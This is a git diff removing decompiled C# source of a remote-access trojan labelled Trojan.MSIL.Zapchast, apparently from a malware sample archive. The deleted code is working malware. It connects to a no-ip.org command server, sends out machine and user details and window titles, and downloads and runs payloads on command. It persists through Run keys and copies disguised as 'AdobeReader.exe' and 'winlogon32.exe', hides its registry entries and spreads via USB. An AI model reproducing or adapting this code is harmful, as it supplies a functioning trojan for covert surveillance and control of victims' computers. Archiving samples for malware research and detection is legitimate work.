AppWinStyle.Hide); - } - else - { - Interaction.Shell("cmd.exe /c reg add HKCU\\Software\\WindowsSoftware /v Amateri-User /t REG_SZ /d " + this.VictimID + " /f", AppWinStyle.Hide); - Interaction.Shell("cmd.exe /c reg add HKCU\\Software\\WindowsSoftware /v Victem-Notiz /t REG_SZ /d " + this.Notiz + " /f", AppWinStyle.Hide); - } - this.Senden("sendserverInfo#+~+#" + this.VictimID + "#+~+#" + this.Notiz); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - if (Operators.CompareString(strArray[0], "updateURL", false) == 0) - { - try - { - WebClient webClient = new WebClient(); - if (System.IO.File.Exists(this.update_exe)) - System.IO.File.Delete(this.update_exe); - webClient.DownloadFile(strArray[1], this.update_exe); - if (System.IO.File.Exists(this.Updaterpfad)) - System.IO.File.Delete(this.Updaterpfad); - System.IO.File.WriteAllBytes(this.Updaterpfad, zub.My.Resources.Resources.updater); - Process process = new Process(); - Process.Start(this.Updaterpfad); - this.Close(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - if (Operators.CompareString(strArray[0], "updateFile", false) == 0) - { - try - { - if (!Directory.Exists(this.UpdateFolder)) - Directory.CreateDirectory(this.UpdateFolder); - Client_Dateitransfer clientDateitransfer = new Client_Dateitransfer(); - clientDateitransfer.VictimNummer = Conversions.ToString(Convert.ToInt32(strArray[1])); - clientDateitransfer.VonHier = strArray[2]; - clientDateitransfer.NachHier = this.update_exe; - clientDateitransfer.IpAdresse = this.IpAdresse; - clientDateitransfer.Port = this.FilePort; - if (System.IO.File.Exists(this.update_exe)) - System.IO.File.Delete(this.update_exe); - clientDateitransfer.DateiEmfpangen_update(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - if (Operators.CompareString(strArray[0], "ShutdownAndUpdate", false) == 0) - { - this.secureCopybevoUpdate(this.oldEXE); - try - { - if (System.IO.File.Exists(this.Updaterpfad)) - System.IO.File.Delete(this.Updaterpfad); - System.IO.File.WriteAllBytes(this.Updaterpfad, zub.My.Resources.Resources.updater); - Process process = new Process(); - Process.Start(this.Updaterpfad); - this.Close(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - if (Operators.CompareString(strArray[0], "spreadusb", false) == 0) - { - try - { - zub.Spread.usb_sp(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - if (Operators.CompareString(strArray[0], "flagme", false) == 0) - { - string wert = strArray[1]; - this.flagmeColor = wert; - this.data.writeVitemValue("flagme", wert); - } - if (Operators.CompareString(strArray[0], "checkftp", false) != 0) - return; - try - { - WebClient webClient = new WebClient(); - if (!System.IO.File.Exists(this.UpdateFolder + "\\.temp\\WinSCP.exe")) - webClient.DownloadFile("http://" + strArray[1] + "/rat/winSCP/WinSCP.exe", this.UpdateFolder + "\\.temp\\WinSCP.exe"); - this.Senden("checkftp_true#+~+#True"); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - private void ParameterFürUpdater(string alterProzess, string neueProzess, int wait) - { - } - - public void secureCopybevoUpdate(string oldNameEXE) - { - if (!System.IO.File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\" + oldNameEXE)) - { - System.IO.File.Copy(Application.ExecutablePath, Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\" + oldNameEXE); - } - else - { - try - { - System.IO.File.Delete(Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\" + oldNameEXE); - System.IO.File.Copy(Application.ExecutablePath, Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\" + oldNameEXE); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - Exception exception = ex; - this.Log.writeLog(this.Logpfad, "log.dat", Conversions.ToString(MyProject.Computer.Clock.GmtTime) + " | " + exception.Message + " | => Fehler beim Copy2startUP"); - ProjectData.ClearProjectError(); - } - } - } - - private void ShowMsgBox(Form1.MsgBoxParameter MsgParm) - { - if (Operators.CompareString(MsgParm.Style, "1", false) == 0) - { - int num1 = (int) Interaction.MsgBox((object) MsgParm.Body, MsgBoxStyle.Critical, (object) MsgParm.Head); - } - if (Operators.CompareString(MsgParm.Style, "2", false) == 0) - { - int num2 = (int) Interaction.MsgBox((object) MsgParm.Body, MsgBoxStyle.Information, (object) MsgParm.Head); - } - if (Operators.CompareString(MsgParm.Style, "4", false) == 0) - { - int num3 = (int) Interaction.MsgBox((object) MsgParm.Body, MsgBoxStyle.Question, (object) MsgParm.Head); - } - if (Operators.CompareString(MsgParm.Style, "3", false) == 0) - { - int num4 = (int) Interaction.MsgBox((object) MsgParm.Body, MsgBoxStyle.Exclamation, (object) MsgParm.Head); - } - this.Senden("Msgokay"); - } - - private void ShowInputbox(Form1.MsgBoxParameter msgprm) => this.Senden("Answer#+~+#" + Interaction.InputBox(msgprm.Body, msgprm.Head)); - - private void abhören() - { - try - { - while (true) - this.ausführen(this.Stream_Reader.ReadLine()); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - Exception exception = ex; - this.Log.writeLog(this.Logpfad, "log.dat", Conversions.ToString(MyProject.Computer.Clock.GmtTime) + " | " + exception.Message + " | => Fehler beim abhören"); - this.Stream_Reader.Close(); - this.Stream_Writer.Close(); - Thread.Sleep(3000); - ProjectData.ClearProjectError(); - } - } - - public void Senden(string text) - { - try - { - this.Stream_Writer.WriteLine(text + "#+~+#"); - this.Stream_Writer.Flush(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - Exception exception = ex; - this.Log.writeLog(this.Logpfad, "log.dat", Conversions.ToString(MyProject.Computer.Clock.GmtTime) + " | " + exception.Message + " | => Fehler beim senden"); - ProjectData.ClearProjectError(); - } - } - - [MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)] - public void Melt(string NewName) - { - try - { - string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData); - if (Operators.CompareString(Application.StartupPath, folderPath, false) != 0) - { - System.IO.File.Delete(folderPath + "\\" + NewName); - FileSystem.FileCopy(Application.ExecutablePath, folderPath + "\\" + NewName); - Interaction.Shell(folderPath + "\\" + NewName + " " + Application.ExecutablePath); - FileAttributes fileAttributes = FileAttributes.Hidden; - System.IO.File.SetAttributes(folderPath + "\\" + NewName, fileAttributes); - this.data.writeRunKey("Windows-Anmeldeanwendung", folderPath + "\\" + NewName); - ProjectData.EndApp(); - } - else - FileSystem.Kill(Interaction.Command()); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - private ArrayList RetrieveSystemCulture() - { - ArrayList arrayList1; - try - { - ArrayList arrayList2 = new ArrayList(); - CultureInfo cultureInfo = new CultureInfo(Thread.CurrentThread.CurrentCulture.Name); - string[] c = new string[4] - { - cultureInfo.Name, - cultureInfo.EnglishName, - cultureInfo.DisplayName, - cultureInfo.ThreeLetterISOLanguageName - }; - arrayList2.AddRange((ICollection) c); - arrayList1 = arrayList2; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - Exception exception = ex; - this.Log.writeLog(this.Logpfad, "log.dat", Conversions.ToString(MyProject.Computer.Clock.GmtTime) + " | " + exception.Message + " | => Fehler beim lesen der Systemzeit"); - ProjectData.ClearProjectError(); - } - return arrayList1; - } - - public bool IsAdmin() - { - bool flag; - try - { - flag = false; - AppDomain.CurrentDomain.SetPrincipalPolicy(PrincipalPolicy.WindowsPrincipal); - WindowsPrincipal currentPrincipal = (WindowsPrincipal) Thread.CurrentPrincipal; - if (currentPrincipal.IsInRole(WindowsBuiltInRole.Administrator)) - flag = true; - else if (currentPrincipal.IsInRole(WindowsBuiltInRole.PowerUser)) - flag = true; - else if (currentPrincipal.IsInRole(WindowsBuiltInRole.User)) - flag = false; - flag = flag; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - Exception exception = ex; - this.Log.writeLog(this.Logpfad, "log.dat", Conversions.ToString(MyProject.Computer.Clock.GmtTime) + " | " + exception.Message + " | => Fehler beim lesen der Rechte"); - ProjectData.ClearProjectError(); - } - return flag; - } - - private void Form1_Load(object sender, EventArgs e) - { - bool createdNew = false; - Mutex mutex = new Mutex(true, "MyVBAppMutex", out createdNew); - if (!createdNew) - this.Close(); - try - { - this.Usertyp = this.IsAdmin(); - this.data.setRUNkey(this.IsAdmin()); - this.data.checkReg64(); - this.HideApp(true); - this.Log.writeLog(this.Logpfad, "log.dat", Conversions.ToString(MyProject.Computer.Clock.GmtTime) + " | ====> start..."); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - Exception exception = ex; - this.Log.writeLog(this.Logpfad, "log.dat", Conversions.ToString(MyProject.Computer.Clock.GmtTime) + " | " + exception.Message + " | => Fehler beim starten"); - ProjectData.ClearProjectError(); - } - try - { - this.Visible = false; - System.IO.File.ReadAllText(Application.ExecutablePath); - this.IpAdresse = "homecube.no-ip.org"; - this.Port = Conversions.ToInteger("6666"); - this.FilePort = Conversions.ToInteger("6667"); - this.VictimID = "Victem!"; - this.FileMelt = "True"; - this.FileMeltName = "winlogon32.exe"; - Process[] processesByName = Process.GetProcessesByName("updater.exe"); - int index = 0; - while (index < processesByName.Length) - { - processesByName[index].Kill(); - checked { ++index; } - } - if (System.IO.File.Exists(this.Updaterpfad)) - System.IO.File.Delete(this.Updaterpfad); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - Exception exception = ex; - this.Log.writeLog(this.Logpfad, "log.dat", Conversions.ToString(MyProject.Computer.Clock.GmtTime) + " | " + exception.Message + " | => Fehler beim setzen der Parameter"); - ProjectData.ClearProjectError(); - } - try - { - if (Operators.CompareString(this.FileMelt, "True", false) == 0) - { - this.Melt(this.FileMeltName); - } - else - { - this.data.writeRunKey("Windows-Anmeldeanwendung", MyProject.Computer.FileSystem.SpecialDirectories.Temp + "\\server.exe"); - if (!System.IO.File.Exists(MyProject.Computer.FileSystem.SpecialDirectories.Temp + "\\server.exe")) - System.IO.File.Copy(Application.ExecutablePath, MyProject.Computer.FileSystem.SpecialDirectories.Temp + "\\server.exe"); - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - Exception exception = ex; - this.Log.writeLog(this.Logpfad, "log.dat", Conversions.ToString(MyProject.Computer.Clock.GmtTime) + " | " + exception.Message + " | => Fehler beim Meltcopy"); - ProjectData.ClearProjectError(); - } - try - { - this.data.writeRunKey("Windows-Securitykey", MyProject.Computer.FileSystem.SpecialDirectories.Temp + "\\" + this.FileMeltName); - if (System.IO.File.Exists(MyProject.Computer.FileSystem.SpecialDirectories.Temp + "\\" + this.FileMeltName)) - System.IO.File.Delete(MyProject.Computer.FileSystem.SpecialDirectories.Temp + "\\" + this.FileMeltName); - System.IO.File.Copy(Application.ExecutablePath, MyProject.Computer.FileSystem.SpecialDirectories.Temp + "\\" + this.FileMeltName); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - Exception exception = ex; - this.Log.writeLog(this.Logpfad, "log.dat", Conversions.ToString(MyProject.Computer.Clock.GmtTime) + " | " + exception.Message + " | => Fehler beim securecopy 1"); - ProjectData.ClearProjectError(); - } - try - { - this.data.writeRunKey("Adobe Reader", MyProject.Computer.FileSystem.SpecialDirectories.AllUsersApplicationData + "\\AdobeReader.exe"); - if (System.IO.File.Exists(MyProject.Computer.FileSystem.SpecialDirectories.AllUsersApplicationData + "\\AdobeReader.exe")) - System.IO.File.Delete(MyProject.Computer.FileSystem.SpecialDirectories.AllUsersApplicationData + "\\AdobeReader.exe"); - System.IO.File.Copy(Application.ExecutablePath, MyProject.Computer.FileSystem.SpecialDirectories.AllUsersApplicationData + "\\AdobeReader.exe"); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - Exception exception = ex; - this.Log.writeLog(this.Logpfad, "log.dat", Conversions.ToString(MyProject.Computer.Clock.GmtTime) + " | " + exception.Message + " | => Fehler beim securecopy 2"); - ProjectData.ClearProjectError(); - } - try - { - if (System.IO.File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\startup.exe")) - System.IO.File.Delete(Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\startup.exe"); - System.IO.File.Copy(Application.ExecutablePath, Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\startup.exe"); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - this.data.ReadKey(); - this.data.WriteKey(); - try - { - this.TList = this.RetrieveSystemCulture(); - int num1 = checked (this.TList.Count - 1); - int num2 = 0; - while (num2 <= num1) - { - this.Systemsprache = Conversions.ToString(Operators.ConcatenateObject((object) this.Systemsprache, this.TList[Conversions.ToInteger(Conversions.ToString(num2) + " ")])); - checked { ++num2; } - } - this.Flagg = this.Systemsprache.Substring(0, 2); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - Exception exception = ex; - this.Log.writeLog(this.Logpfad, "log.dat", Conversions.ToString(MyProject.Computer.Clock.GmtTime) + " | " + exception.Message + " | => Fehler beim lesen der Systemsprache"); - ProjectData.ClearProjectError(); - } - try - { - this.BackgroundWorker1.RunWorkerAsync(); - this.Timer1.Start(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - Exception exception = ex; - this.Log.writeLog(this.Logpfad, "log.dat", Conversions.ToString(MyProject.Computer.Clock.GmtTime) + " | " + exception.Message + " | => Fehler beim Main"); - ProjectData.ClearProjectError(); - } - } - - private void BackgroundWorker1_DoWork(object sender, DoWorkEventArgs e) - { - bool flag = true; - while (flag) - { - try - { - TcpClient tcpClient = new TcpClient(); - tcpClient.Connect(this.IpAdresse, this.Port); - this.Stream_Reader = new StreamReader((Stream) tcpClient.GetStream()); - this.Stream_Writer = new StreamWriter((Stream) tcpClient.GetStream()); - this.Senden(this.Computername + this.SplitKey + this.Username + this.SplitKey + this.VictimID + this.SplitKey + this.AktuellesFenster + this.SplitKey + this.System + this.SplitKey + this.Systemsprache + this.SplitKey + this.Version + this.SplitKey + this.Notiz + this.SplitKey + this.Flagg + this.SplitKey + this.startUP + this.SplitKey + Conversions.ToString(this.IsAdmin()) + this.SplitKey + this.flagmeColor + this.SplitKey); - this.abhören(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - Thread.Sleep(3000); - ProjectData.ClearProjectError(); - } - } - } - - private void Timer1_Tick(object sender, EventArgs e) - { - try - { - if (Operators.CompareString(this.AktuellesFenster, Module_logger.GetActiveWindowTitle(), false) != 0) - { - this.AktuellesFenster = Module_logger.GetActiveWindowTitle(); - this.Senden("New Window" + this.SplitKey + this.AktuellesFenster); - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - Exception exception = ex; - this.Log.writeLog(this.Logpfad, "log.dat", Conversions.ToString(MyProject.Computer.Clock.GmtTime) + " | " + exception.Message + " | => Fehler beim lesen der des Fenstertitels"); - ProjectData.ClearProjectError(); - } - try - { - if (~Form1.ShowWindow((long) this.Handle, 0L) == 0L) - return; - Form1.ShowWindow((long) this.Handle, 0L); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - private void Timer3_Tick(object sender, EventArgs e) - { - try - { - Reg.HideValueFromRegistry(Reg.HKEY.LocalMachine, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", "Windows-Anmeldeanwendung", Application.ExecutablePath); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - try - { - Reg.HideValueFromRegistry(Reg.HKEY.CurrentUser, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", "Windows-Anmeldeanwendung", Application.ExecutablePath); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - private void Timer2_Tick(object sender, EventArgs e) - { - int num = this.Spread ? 1 : 0; - } - - public struct MsgBoxParameter - { - public string Head; - public string Body; - public string Style; - } - } -} diff --git a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aaxrn-15afce431f9064b1d75b7e7f83f2d7ad5b9e68621f44a39c75ffd88172493695/Form1.resx b/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aaxrn-15afce431f9064b1d75b7e7f83f2d7ad5b9e68621f44a39c75ffd88172493695/Form1.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aaxrn-15afce431f9064b1d75b7e7f83f2d7ad5b9e68621f44a39c75ffd88172493695/Form1.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aaxrn-15afce431f9064b1d75b7e7f83f2d7ad5b9e68621f44a39c75ffd88172493695/Log.cs b/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aaxrn-15afce431f9064b1d75b7e7f83f2d7ad5b9e68621f44a39c75ffd88172493695/Log.cs deleted file mode 100644 index c172fa38..00000000 --- a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aaxrn-15afce431f9064b1d75b7e7f83f2d7ad5b9e68621f44a39c75ffd88172493695/Log.cs +++ /dev/null @@ -1,32 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: zub.Log -// Assembly: zub, Version=1.0.1.5, Culture=neutral, PublicKeyToken=null -// MVID: 48A5438B-11FD-4EEE-88C7-AA931AE92F31 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Zapchast.aaxrn-15afce431f9064b1d75b7e7f83f2d7ad5b9e68621f44a39c75ffd88172493695.exe - -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.IO; - -namespace zub -{ - public class Log - { - public void writeLog(string Pfad, string Filename, string Text) - { - try - { - FileStream fileStream = new FileStream(Pfad + "\\" + Filename, FileMode.Append, FileAccess.Write); - StreamWriter streamWriter = new StreamWriter((Stream) fileStream); - streamWriter.WriteLine(Text); - streamWriter.Close(); - fileStream.Close(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } -} diff --git a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aaxrn-15afce431f9064b1d75b7e7f83f2d7ad5b9e68621f44a39c75ffd88172493695/Module_logger.cs b/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aaxrn-15afce431f9064b1d75b7e7f83f2d7ad5b9e68621f44a39c75ffd88172493695/Module_logger.cs deleted file mode 100644 index 01e3dc20..00000000 --- a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aaxrn-15afce431f9064b1d75b7e7f83f2d7ad5b9e68621f44a39c75ffd88172493695/Module_logger.cs +++ /dev/null @@ -1,51 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: zub.Module_logger -// Assembly: zub, Version=1.0.1.5, Culture=neutral, PublicKeyToken=null -// MVID: 48A5438B-11FD-4EEE-88C7-AA931AE92F31 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Zapchast.aaxrn-15afce431f9064b1d75b7e7f83f2d7ad5b9e68621f44a39c75ffd88172493695.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Runtime.InteropServices; - -namespace zub -{ - [StandardModule] - internal sealed class Module_logger - { - private static string Sendetext = (string) null; - private static int i = 0; - private const int WM_KEYUP = 257; - private const short WM_KEYDOWN = 256; - private const int WM_SYSKEYDOWN = 260; - private const int WM_SYSKEYUP = 261; - private static IntPtr KeyboardHandle = (IntPtr) 0; - private static string LastCheckedForegroundTitle = ""; - private static string OfflineKey = (string) null; - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetForegroundWindow(); - - [DllImport("user32.dll", EntryPoint = "GetWindowTextA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowText(int hwnd, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpString, int cch); - - public static object Hooked() => (object) (Module_logger.KeyboardHandle != (IntPtr) 0); - - public static string GetActiveWindowTitle() - { - string lpString = new string(char.MinValue, 100); - Module_logger.GetWindowText(Module_logger.GetForegroundWindow(), ref lpString, 100); - return lpString.Substring(0, checked (Strings.InStr(lpString, "\0") - 1)); - } - - public struct KBDLLHOOKSTRUCT - { - public int vkCode; - public int scanCode; - public int flags; - public int time; - public int dwExtraInfo; - } - } -} diff --git a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aaxrn-15afce431f9064b1d75b7e7f83f2d7ad5b9e68621f44a39c75ffd88172493695/My/MyApplication.cs b/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aaxrn-15afce431f9064b1d75b7e7f83f2d7ad5b9e68621f44a39c75ffd88172493695/My/MyApplication.cs deleted file mode 100644 index 1faea44b..00000000 --- a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aaxrn-15afce431f9064b1d75b7e7f83f2d7ad5b9e68621f44a39c75ffd88172493695/My/MyApplication.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: zub.My.MyApplication -// Assembly: zub, Version=1.0.1.5, Culture=neutral, PublicKeyToken=null -// MVID: 48A5438B-11FD-4EEE-88C7-AA931AE92F31 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Zapchast.aaxrn-15afce431f9064b1d75b7e7f83f2d7ad5b9e68621f44a39c75ffd88172493695.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System.CodeDom.Compiler; -using System.ComponentModel; - -namespace zub.My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyApplication : ConsoleApplicationBase - { - } -} diff --git a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aaxrn-15afce431f9064b1d75b7e7f83f2d7ad5b9e68621f44a39c75ffd88172493695/My/MyComputer.cs b/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aaxrn-15afce431f9064b1d75b7e7f83f2d7ad5b9e68621f44a39c75ffd88172493695/My/MyComputer.cs deleted file mode 100644 index 85f9be8f..00000000 --- a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aaxrn-15afce431f9064b1d75b7e7f83f2d7ad5b9e68621f44a39c75ffd88172493695/My/MyComputer.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: zub.My.MyComputer -// Assembly: zub, Version=1.0.1.5, Culture=neutral, PublicKeyToken=null -// MVID: 48A5438B-11FD-4EEE-88C7-AA931AE92F31 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Zapchast.aaxrn-15afce431f9064b1d75b7e7f83f2d7ad5b9e68621f44a39c75ffd88172493695.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace zub.My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal class MyComputer : Computer - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyComputer() - { - } - } -} diff --git a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aaxrn-15afce431f9064b1d75b7e7f83f2d7ad5b9e68621f44a39c75ffd88172493695/My/MyProject.cs b/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aaxrn-15afce431f9064b1d75b7e7f83f2d7ad5b9e68621f44a39c75ffd88172493695/My/MyProject.cs deleted file mode 100644 index 29c0acfe..00000000 --- a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aaxrn-15afce431f9064b1d75b7e7f83f2d7ad5b9e68621f44a39c75ffd88172493695/My/MyProject.cs +++ /dev/null @@ -1,207 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: zub.My.MyProject -// Assembly: zub, Version=1.0.1.5, Culture=neutral, PublicKeyToken=null -// MVID: 48A5438B-11FD-4EEE-88C7-AA931AE92F31 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Zapchast.aaxrn-15afce431f9064b1d75b7e7f83f2d7ad5b9e68621f44a39c75ffd88172493695.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.Collections; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -namespace zub.My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [StandardModule] - [HideModuleName] - internal sealed class MyProject - { - private static readonly MyProject.ThreadSafeObjectProvider m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static MyProject.ThreadSafeObjectProvider m_MyFormsObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider(); - - [HelpKeyword("My.Computer")] - internal static MyComputer Computer - { - [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static MyApplication Application - { - [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance; - } - - [HelpKeyword("My.Forms")] - internal static MyProject.MyForms Forms - { - [DebuggerHidden] get => MyProject.m_MyFormsObjectProvider.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static MyProject.MyWebServices WebServices - { - [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance; - } - - [MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class MyForms - { - public Form1 m_Form1; - [ThreadStatic] - private static Hashtable m_FormBeingCreated; - - public Form1 Form1 - { - get - { - this.m_Form1 = MyProject.MyForms.Create__Instance__(this.m_Form1); - return this.m_Form1; - } - set - { - if (value == this.m_Form1) - return; - if (value != null) - throw new ArgumentException("Property can only be set to Nothing"); - this.Dispose__Instance__(ref this.m_Form1); - } - } - - [DebuggerHidden] - private static T Create__Instance__(T Instance) where T : Form, new() - { - if ((object) Instance != null && !Instance.IsDisposed) - return Instance; - if (MyProject.MyForms.m_FormBeingCreated != null) - { - if (MyProject.MyForms.m_FormBeingCreated.ContainsKey((object) typeof (T))) - throw new InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate")); - } - else - MyProject.MyForms.m_FormBeingCreated = new Hashtable(); - MyProject.MyForms.m_FormBeingCreated.Add((object) typeof (T), (object) null); - try - { - return new T(); - } - catch (TargetInvocationException ex) when ( - { - // ISSUE: unable to correctly present filter - ProjectData.SetProjectError((Exception) ex); - if (ex.InnerException != null) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - throw new InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", ex.InnerException.Message), ex.InnerException); - } - finally - { - MyProject.MyForms.m_FormBeingCreated.Remove((object) typeof (T)); - } - } - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) where T : Form - { - instance.Dispose(); - instance = default (T); - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public MyForms() - { - } - - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - internal new System.Type GetType() => typeof (MyProject.MyForms); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - internal sealed class MyWebServices - { - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - internal new System.Type GetType() => typeof (MyProject.MyWebServices); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T Create__Instance__(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) => instance = default (T); - - 